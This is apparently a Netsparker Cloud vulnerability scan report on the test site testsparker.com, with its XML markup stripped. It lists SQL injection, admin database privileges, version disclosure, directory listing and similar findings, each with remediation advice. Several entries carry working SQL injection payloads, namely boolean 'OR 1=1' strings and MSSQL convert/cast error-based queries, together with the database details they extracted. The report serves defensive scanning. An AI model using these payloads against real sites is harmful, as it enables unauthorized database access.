+ + http://testsparker.com/blog/how-does-bitcoin-work-63%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns/ + ConfirmedBooleanSqlInjection + Boolean Based SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + GET + + + + + + + 200 + 93,7488 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +

+ How does Bitcoin work +

+

+ 5/18/2008 12:00:00 AM +

+

+ From a user perspective, Bitcoin is nothing more than a mobile app or computer program that provides a personal Bitcoin wallet and allows a user to send and receive bitcoins with them. This is how Bitcoin works for most users.Behind the scenes, the Bitcoin network is sharing a public ledger called the "block chain". This ledger contains every transaction ever processed, allowing a user's computer to verify the validity of each transaction. The authenticity of each transaction is protected by digital signatures corresponding to the sending addresses, allowing all users to have full control over sending bitcoins from their own Bitcoin addresses. In addition, anyone can process transactions using the computing power of specialized hardware and earn a reward in bitcoins for this service. This is often called "mining". To learn more about Bitcoin, you can consult the dedicated page and the original paper. +

+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified a Boolean-based SQL injection, which occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed Netsparker Cloud to identify and confirm the SQL injection.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64)   apr 20 2015 17 29 27   copyright (c) microsoft corporation  express edition (64-bit) on windows nt 6.3 <x64> (build 9600  ) (hypervisor)

Identified Database User

dbo

Identified Database Name

testsparker
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data/tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.]]> + The best way to protect your code against SQL injections is using parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) + ConfirmedSqlInjection + SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + POST + + + + + + + + + 200 + 93,7385 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +
+
+

90.0000

+

Raspberry Pi #

+
Conversion failed when converting the varchar value '_!@2dilemma' to data type int.
+
+

In 2014, the Raspberry Pi Foundation launched the Compute Module, which packages a BCM2835 with 512 MB RAM and an eMMC flash chip into a module for use as a part of embedded systems.[11]

+

Back to shop.

+
+
+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) 
+	apr 20 2015 17:29:27 
+	copyright (c) microsoft corporation
+	express edition (64-bit) on windows nt 6.3 &lt;x64> (build 9600: ) (hypervisor)
+

Identified Database Name

testsparker

Identified Database User

dbo
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/WS_search.asmx + ConfirmedSqlInjection + SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + POST + + + + (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)]]> + + + 200 + 109,3785 + Conversion failed when converting the varchar value '_!@2dilemma' to data type int.]]> + + + Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) 
+	apr 20 2015 17:29:27 
+	copyright (c) microsoft corporation
+	express edition (64-bit) on windows nt 6.3 &lt;x64&gt; (build 9600: ) (hypervisor)
+

Identified Database Name

testsparker

Identified Database User

dbo
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) + ConfirmedSqlInjection + SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + GET + + + + + + + 200 + 595,6166 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +
+
+

+

+
Conversion failed when converting the varchar value '_!@2dilemma' to data type int.
+
+

+

Back to shop.

+
+
+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) 
+	apr 20 2015 17:29:27 
+	copyright (c) microsoft corporation
+	express edition (64-bit) on windows nt 6.3 &lt;x64> (build 9600: ) (hypervisor)
+

Identified Database Name

testsparker

Identified Database User

dbo
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/ConverterResponse.aspx + ConfirmedSqlInjection + SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + POST + + + + + + + 200 + 109,3827 + + + + Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) 
+	apr 20 2015 17:29:27 
+	copyright (c) microsoft corporation
+	express edition (64-bit) on windows nt 6.3 <x64> (build 9600: ) (hypervisor)
+

Identified Database Name

testsparker

Identified Database User

dbo
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/WS_search.asmx + ConfirmedSqlInjection + SQL Injection + Critical + 100 + True + Present + + A1 + 19 + 89 + 66 + 6.5.1 + 6.5.1 + 164.306(a), 164.308(a) + + + POST + + + + + + + + (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) + + +]]> + + + 200 + 100,0041 + Conversion failed when converting the varchar value '_!@2dilemma' to data type int.]]> + + + Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) 
+	apr 20 2015 17:29:27 
+	copyright (c) microsoft corporation
+	express edition (64-bit) on windows nt 6.3 &lt;x64&gt; (build 9600: ) (hypervisor)
+

Identified Database Name

testsparker

Identified Database User

dbo
]]>
+ Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
]]>
+
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
]]>
+ There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.]]> + A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.]]> + ]]> + ]]> + +
+ + http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) + MsSqlIdentified + Database Detected (Microsoft SQL Server) + Information + 100 + True + Present + + + + + + + + + + + GET + + + + + + + 200 + 595,6166 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +
+
+

+

+
Conversion failed when converting the varchar value '_!@2dilemma' to data type int.
+
+

+

Back to shop.

+
+
+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected the target website is using Microsoft SQL Server as its backend database.

This is generally not a security issue and is reported here for informational purposes only.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + + + + +
+ + http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) + DbConnectedAsAdmin + Database User Has Admin Privileges + Important + 100 + True + Present + + A5 + 14 + 267 + + 6.5.6 + 6.5.6 + + + + GET + + + + + + + 200 + 595,6166 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +
+
+

+

+
Conversion failed when converting the varchar value '_!@2dilemma' to data type int.
+
+

+

Back to shop.

+
+
+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected the database user has admin privileges.

This issue has been confirmed by checking the connection privileges via an identified SQL injection vulnerability in the application.

]]>
+ This can allow an attacker to gain extra privileges via SQL injection attacks. Here is the list of attacks that the attacker might carry out:
  • Gain full access to the database server.
  • Gain a reverse shell to the database server and execute commands on the underlying operating system.
  • Access the database with full permissions, where it may be possible to read, update or delete arbitrary data from the database.
  • Depending on the platform and the database system user, an attacker might carry out a privilege escalation attack to gain administrator access to the target system.
]]>
+ + + Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.]]> + + ]]> + +
+ + http://testsparker.com/ + AspNetIdentified + ASP.NET Identified + Information + 90 + False + Present + + + + + + + + + + + GET + + + + 200 + 187,5028 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified that the target website is using ASP.NET as its web application framework.

This issue is reported as extra information only.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + + + + +
+ + http://testsparker.com/ + AspNetVersionDisclosure + Version Disclosure (ASP.NET) + Low + 90 + False + Present + + + 45 + 205 + 170 + + + 164.306(a), 164.308(a) + + + GET + + + + 200 + 187,5028 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a version disclosure (ASP.NET) in target web server's HTTP response.

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of ASP.NET.

]]>
+ An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.]]> + + + Apply the following changes to your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
+     <httpRuntime enableVersionHeader="false" /> 
+     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
+          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
+          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
+          <error statusCode="500" redirect="~/error/InternalError.aspx" />
+     </customErrors>
+</System.Web>
+
]]>
+ ]]> + + +
+ + http://testsparker.com/statics/ + IisDirectoryListing + Directory Listing (IIS) + Information + 90 + False + Present + + A5 + 16 + 548 + 127 + + + + + + GET + + + + 200 + 203,1246 + testsparker.com - /statics/

testsparker.com - /statics/


+ +
[To Parent Directory]

2/3/2017 10:01 AM 57491 1.jpg
2/3/2017 10:01 AM 32568 2.jpg
2/3/2017 10:01 AM 21974 3.JPG
2/3/2017 10:01 AM 1084 320x150.gif
2/3/2017 10:01 AM 162777 4.jpg
2/3/2017 10:01 AM 93054 5.jpg
2/3/2017 10:01 AM 3147 800x300.gif
2/3/2017 10:01 AM 343 _probot.gif
2/3/2017 10:01 AM 356 _protop.gif
2/3/2017 10:01 AM 52989 AgentJ.T.Roberts.jpg
2/3/2017 10:01 AM 28040 bitcoin.jpg
2/3/2017 10:01 AM 96127 Bitcoin_accepted_here_printable.png
2/3/2017 10:01 AM 99548 bootstrap.min.css
2/3/2017 10:01 AM 27822 bootstrap.min.js
2/3/2017 10:01 AM 1625 btnBuyNowPricing.gif
2/3/2017 10:01 AM 1464 btnBuyNowPricingBlue.gif
2/3/2017 10:01 AM 171936 chess.gif
2/3/2017 10:01 AM 479232 data.mdb
2/18/2016 7:09 AM <dir> download
2/3/2017 10:01 AM 1032 facebook.png
2/3/2017 10:01 AM 35263 GabrielShear.jpg
2/3/2017 10:01 AM 3424 gplus.png
2/3/2017 10:01 AM 31389 hacker.gif
2/3/2017 10:01 AM 50895 hacker2.gif
2/3/2017 10:01 AM 1386 help-konu1.html
2/3/2017 10:01 AM 582 help-konu2.html
2/3/2017 10:01 AM 243 help-yes.html
2/3/2017 10:01 AM 1227 linkedin.png
2/3/2017 10:01 AM 4516 logo.gif
2/3/2017 10:01 AM 14655 logo.png
2/3/2017 10:01 AM 621 pear.sh
2/3/2017 10:01 AM 1413 rss.png
2/3/2017 10:01 AM 42269 StanleyJobson.jpg
2/3/2017 10:01 AM 53 styles.css
2/3/2017 10:01 AM 1052 twitter.png
2/3/2017 10:01 AM 525 Web.config
2/3/2017 10:01 AM 206596 write-us.png
2/3/2017 10:01 AM 384 y.gif

]]>
+
+ + Netsparker Cloud identified a directory listing (IIS).

The web server responded with a list of files located in the target directory.

]]>
+ An attacker can see the files located in the directory and could potentially access files which disclose sensitive information.]]> +
  1. Configure the web server to disallow directory listing requests.
  2. Ensure that the latest security patches have been applied to the web server and the current stable version of the software is in use.
]]>
+ + + ]]> + ]]> + +
+ + http://testsparker.com/statics/pear.sh + PossibleInternalUnixPathLeakage + [Possible] Internal Path Disclosure (*nix) + Information + 60 + False + Present + + + 13 + 200 + 118 + + + 164.306(a), 164.308(a) + + + GET + + + + 200 + 89,2215 + + + + + + + Netsparker Cloud identified a possible internal path disclosure (*nix) in the document.

]]>
+ There is no direct impact; however, this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.]]> + + + ]]> + + + +
+ + http://testsparker.com/WS_FTP.log + PossibleInternalWindowsPathLeakage + [Possible] Internal Path Disclosure (Windows) + Information + 75 + False + Present + + + 13 + 200 + 118 + + + 164.306(a), 164.308(a) + + + GET + + + + 200 + 95,4689 + 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG]]> + + + + + + Netsparker Cloud identified a possible Internal Path Disclosure (Windows) in the document.

]]>
+ There is no direct impact, however this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.]]> + + + Ensure this is not a false positive. Due to the nature of the issue, Netsparker Cloud could not confirm that this file path was actually the real file path of the target web server.
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.
]]>
+ + ]]> + +
+ + http://testsparker.com/administrator/?r=/Dashboard/ + EmailDisclosure + Email Address Disclosure + Information + 95 + False + Present + + + 13 + 200 + 118 + + + + + + GET + + + + + + + 200 + 286,667 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + + + Email addresses discovered within the application can be used by both spam email engines and also brute-force tools. Furthermore, valid email addresses may lead to social engineering attacks. + +]]> + + + + Use generic email addresses such as contact@ or info@ for general communications and remove user/people-specific email addresses from the website; should this be required, use submission forms for this purpose. + +]]> + + ]]> + +
+ + http://testsparker.com/ + IisVersionDisclosure + Version Disclosure (IIS) + Information + 90 + False + Present + + + 45 + 205 + 170 + + + 164.306(a), 164.308(a) + + + GET + + + + 200 + 187,5028 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a version disclosure (IIS) in target web server's HTTP response.

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of IIS.

]]>
+ An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.]]> + + + Configure your web server to prevent information leakage from the SERVER header of its HTTP response.]]> + ]]> + + +
+ + http://testsparker.com/sitemap.xml + SitemapIdentified + Sitemap Detected + Information + 100 + False + Present + + + + + + + + + + + GET + + + + 200 + 109,3748 + + + + http://aspnet.testsparker.com/WS/ + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com/statics/data.mdb + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.test:83/statics/data.mdb + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com/statics/pear.sh + monthly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com/administrator/Default.aspx + weekly + 2014-09-20 + 0.6 + + + + http://aspnet.testsparker.com.test/WS/ + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.test/statics/pear.sh + monthly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.test/administrator/Default.aspx + weekly + 2014-09-20 + 0.6 + + + + + http://aspnet.testsparker.com.test:83/WS/ + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.test:83/statics/pear.sh + monthly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.test:83/administrator/Default.aspx + weekly + 2014-09-20 + 0.6 + + + + http://aspnet.testsparker.com.local/WS/ + weekly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.local/statics/pear.sh + monthly + 2014-09-20 + 0.6 + + + http://aspnet.testsparker.com.local/administrator/Default.aspx + weekly + 2014-09-20 + 0.6 + + + + /WS/ + weekly + 2014-09-20 + 0.6 + + + /statics/pear.sh + monthly + 2014-09-20 + 0.6 + + + /administrator/Default.aspx + weekly + 2014-09-20 + 0.6 + + + +]]> + + + Netsparker Cloud detected a sitemap file on the target website.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + + + + +
+ + http://testsparker.com/robots.txt + RobotsIdentified + Robots.txt Detected + Information + 100 + True + Present + + + + + + + + + + + GET + + + + 200 + 101,7079 + + + + + + + Netsparker Cloud detected a Robots.txt file with potentially sensitive content.

]]>
+ Depending on the content of the file, an attacker might discover hidden directories and files.]]> + + + Ensure you have nothing sensitive exposed within this file, such as the path of an administration panel. If disallowed paths are sensitive and you want to keep it from unauthorized access, do not write them in the Robots.txt, and ensure they are correctly protected by means of authentication.

Robots.txt is only used to instruct search robots which resources should be indexed and which ones are not.

The following block can be used to tell the crawler to index files under /web/ and ignore the rest:
User-Agent: *
Allow: /web/
Disallow: /

Please note that when you use the instructions above, search engines will not index your website except for the specified directories.

If you want to hide certain section of the website from the search engines X-Robots-Tag can be set in the response header to tell crawlers whether the file should be indexed or not:

X-Robots-Tag: googlebot: nofollow
X-Robots-Tag: otherbot: noindex, nofollow

By using X-Robots-Tag you don't have to list the these files in your Robots.txt.

It is also not possible to prevent media files from being indexed by putting using Robots Meta Tags. X-Robots-Tag resolves this issue as well.

For Apache, the following snippet can be put into httpd.conf or an .htaccess file to restrict crawlers to index multimedia files without exposing them in Robots.txt

<Files ~ "\.pdf$">
# Don't index PDF files.
Header set X-Robots-Tag "noindex, nofollow"
</Files>
<Files ~ "\.(png|jpe?g|gif)$">
#Don't index image files.
Header set X-Robots-Tag "noindex"
</Files>

]]>
+ + ]]> + +
+ + http://testsparker.com/crossdomain.xml + OpenCrossDomainXml + Open Policy Crossdomain.xml Detected + Medium + 100 + True + Present + + A5 + 15 + 16 + + + + + + + GET + + + + 200 + 93,7543 + + + + + + +]]> + + + + + + Netsparker Cloud detected an open policy Crossdomain.xml file.

]]>
+ Open policy Crossdomain.xml file allows other SWF files to make HTTP requests to your web server and see its response. This can be used for accessing one time tokens and CSRF nonces to bypass CSRF restrictions.]]> + + + Configure your Crossdomain.xml to prevent access from everywhere to your domain.]]> + + ]]> + +
+ + http://testsparker.com/clientaccesspolicy.xml + OpenClientAccessPolicy + Open Silverlight Client Access Policy + Medium + 100 + True + Present + + A5 + 15 + 16 + + + + + + + GET + + + + 200 + 109,3725 + + + + + + + + + + +]]> + + + + + + Netsparker Cloud detected an open Silverlight client access policy file (ClientAccessPolicy.xml).

]]>
